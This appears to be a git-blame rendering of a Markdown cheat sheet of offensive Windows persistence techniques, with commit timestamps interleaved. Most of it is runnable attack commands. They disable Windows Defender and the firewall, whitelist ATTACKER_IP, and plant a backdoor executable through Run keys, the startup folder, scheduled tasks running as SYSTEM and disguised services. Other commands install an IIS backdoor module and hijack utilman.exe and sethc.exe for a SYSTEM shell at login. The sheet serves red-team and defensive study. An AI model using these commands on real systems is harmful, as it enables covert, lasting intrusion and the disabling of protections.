2018-04-27 21:31:58 +00:00
|
|
|
|
# Windows - Persistence
|
|
|
|
|
|
2019-08-18 20:24:48 +00:00
|
|
|
|
## Summary
|
|
|
|
|
|
2019-09-13 15:38:23 +00:00
|
|
|
|
* [Tools](#tools)
|
2020-02-01 21:12:36 +00:00
|
|
|
|
* [Disable Windows Defender](#disable-windows-defender)
|
|
|
|
|
* [Disable Windows Firewall](#disable-windows-firewall)
|
2019-08-18 20:24:48 +00:00
|
|
|
|
* [Userland](#userland)
|
|
|
|
|
* [Registry](#registry)
|
|
|
|
|
* [Startup](#startup)
|
|
|
|
|
* [Scheduled Task](#scheduled-task)
|
2020-02-20 15:51:22 +00:00
|
|
|
|
* [Serviceland](#serviceland)
|
|
|
|
|
* [IIS](#iis)
|
|
|
|
|
* [Windows Service](#windows-service)
|
2019-08-18 20:24:48 +00:00
|
|
|
|
* [Elevated](#elevated)
|
|
|
|
|
* [HKLM](#hklm)
|
|
|
|
|
* [Services](#services)
|
|
|
|
|
* [Scheduled Task](#scheduled-task)
|
2019-11-26 22:39:14 +00:00
|
|
|
|
* [RDP Backdoor](#rdp-backdoor)
|
2019-08-18 20:24:48 +00:00
|
|
|
|
* [References](#references)
|
|
|
|
|
|
|
|
|
|
|
2019-09-13 15:38:23 +00:00
|
|
|
|
## Tools
|
|
|
|
|
|
|
|
|
|
- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
|
|
|
|
|
|
2020-02-01 21:12:36 +00:00
|
|
|
|
## Disable Windows Defender
|
|
|
|
|
|
|
|
|
|
```powershell
|
|
|
|
|
sc config WinDefend start= disabled
|
|
|
|
|
sc stop WinDefend
|
|
|
|
|
Set-MpPreference -DisableRealtimeMonitoring $true
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## Disable Windows Firewall
|
|
|
|
|
|
|
|
|
|
```powershell
|
|
|
|
|
Netsh Advfirewall show allprofiles
|
|
|
|
|
NetSh Advfirewall set allprofiles state off
|
|
|
|
|
|
|
|
|
|
# ip whitelisting
|
|
|
|
|
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
|
|
|
|
|
```
|
|
|
|
|
|
2018-04-27 21:31:58 +00:00
|
|
|
|
## Userland
|
|
|
|
|
|
2020-01-19 21:46:45 +00:00
|
|
|
|
Set a file as hidden
|
|
|
|
|
|
|
|
|
|
```powershell
|
|
|
|
|
attrib +h c:\autoexec.bat
|
|
|
|
|
```
|
|
|
|
|
|
2018-04-27 21:31:58 +00:00
|
|
|
|
### Registry
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
2018-04-27 21:31:58 +00:00
|
|
|
|
Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
|
|
|
|
```powershell
|
2018-04-27 21:31:58 +00:00
|
|
|
|
Value name: Backdoor
|
|
|
|
|
Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
|
|
|
|
|
```
|
|
|
|
|
|
2019-09-13 15:38:23 +00:00
|
|
|
|
Using SharPersist
|
|
|
|
|
|
|
|
|
|
```powershell
|
|
|
|
|
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
|
|
|
|
|
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
|
|
|
|
|
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
|
|
|
|
|
```
|
|
|
|
|
|
2018-04-27 21:31:58 +00:00
|
|
|
|
### Startup
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
2018-04-27 21:31:58 +00:00
|
|
|
|
Create a batch script in the user startup folder.
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
|
|
|
|
```powershell
|
2018-04-27 21:31:58 +00:00
|
|
|
|
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
|
|
|
|
|
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
|
|
|
|
|
```
|
|
|
|
|
|
2019-09-13 15:38:23 +00:00
|
|
|
|
Using SharPersist
|
|
|
|
|
|
|
|
|
|
```powershell
|
|
|
|
|
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
|
|
|
|
|
```
|
|
|
|
|
|
2018-04-27 21:31:58 +00:00
|
|
|
|
### Scheduled Task
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
|
|
|
|
```powershell
|
2018-04-27 21:31:58 +00:00
|
|
|
|
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
|
|
|
|
|
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
|
|
|
|
|
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
|
|
|
|
|
PS C:\> $S = New-ScheduledTaskSettingsSet
|
|
|
|
|
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
|
|
|
|
|
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
|
|
|
|
|
```
|
|
|
|
|
|
2019-09-13 15:38:23 +00:00
|
|
|
|
Using SharPersist
|
|
|
|
|
|
|
|
|
|
```powershell
|
|
|
|
|
# Add to a current scheduled task
|
|
|
|
|
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
|
|
|
|
|
|
|
|
|
|
# Add new task
|
|
|
|
|
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
|
|
|
|
|
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
|
|
|
|
|
```
|
|
|
|
|
|
2020-02-20 15:51:22 +00:00
|
|
|
|
## Serviceland
|
|
|
|
|
|
|
|
|
|
### IIS
|
|
|
|
|
|
|
|
|
|
IIS Raid – Backdooring IIS Using Native Modules
|
|
|
|
|
|
|
|
|
|
```powershell
|
|
|
|
|
$ git clone https://github.com/0x09AL/IIS-Raid
|
|
|
|
|
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
|
|
|
|
|
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
### Windows Service
|
2019-09-13 15:38:23 +00:00
|
|
|
|
|
|
|
|
|
Using SharPersist
|
|
|
|
|
|
|
|
|
|
```powershell
|
|
|
|
|
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
|
|
|
|
|
```
|
|
|
|
|
|
2018-04-27 21:31:58 +00:00
|
|
|
|
## Elevated
|
|
|
|
|
|
|
|
|
|
### HKLM
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
2018-04-27 21:31:58 +00:00
|
|
|
|
Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
|
|
|
|
```powershell
|
2018-04-27 21:31:58 +00:00
|
|
|
|
Value name: Backdoor
|
|
|
|
|
Value data: C:\Windows\Temp\backdoor.exe
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
### Services
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
2018-04-27 21:31:58 +00:00
|
|
|
|
Create a service that will start automatically or on-demand.
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
|
|
|
|
```powershell
|
2018-04-27 21:31:58 +00:00
|
|
|
|
PS C:\> New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here."
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
### Scheduled Tasks
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
2018-04-27 21:31:58 +00:00
|
|
|
|
Scheduled Task to run as SYSTEM, everyday at 9am.
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
|
|
|
|
```powershell
|
2018-04-27 21:31:58 +00:00
|
|
|
|
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
|
|
|
|
|
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
|
|
|
|
|
PS C:\> $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
|
|
|
|
|
PS C:\> $S = New-ScheduledTaskSettingsSet
|
|
|
|
|
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
|
|
|
|
|
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
|
|
|
|
|
```
|
|
|
|
|
|
2019-11-26 22:39:14 +00:00
|
|
|
|
### RDP Backdoor
|
|
|
|
|
|
|
|
|
|
#### utilman.exe
|
|
|
|
|
|
|
|
|
|
At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.
|
|
|
|
|
|
|
|
|
|
```powershell
|
2020-02-20 15:51:22 +00:00
|
|
|
|
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
|
2019-11-26 22:39:14 +00:00
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
#### sethc.exe
|
|
|
|
|
|
|
|
|
|
Hit F5 a bunch of times when you are at the RDP login screen.
|
|
|
|
|
|
|
|
|
|
```powershell
|
2020-02-20 15:51:22 +00:00
|
|
|
|
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
|
2019-11-26 22:39:14 +00:00
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
2018-12-24 14:02:50 +00:00
|
|
|
|
## References
|
2018-08-12 21:30:22 +00:00
|
|
|
|
|
|
|
|
|
* [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
|
2019-09-13 15:38:23 +00:00
|
|
|
|
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)
|
2020-02-20 15:51:22 +00:00
|
|
|
|
* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo)
|
|
|
|
|
* [](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/)
|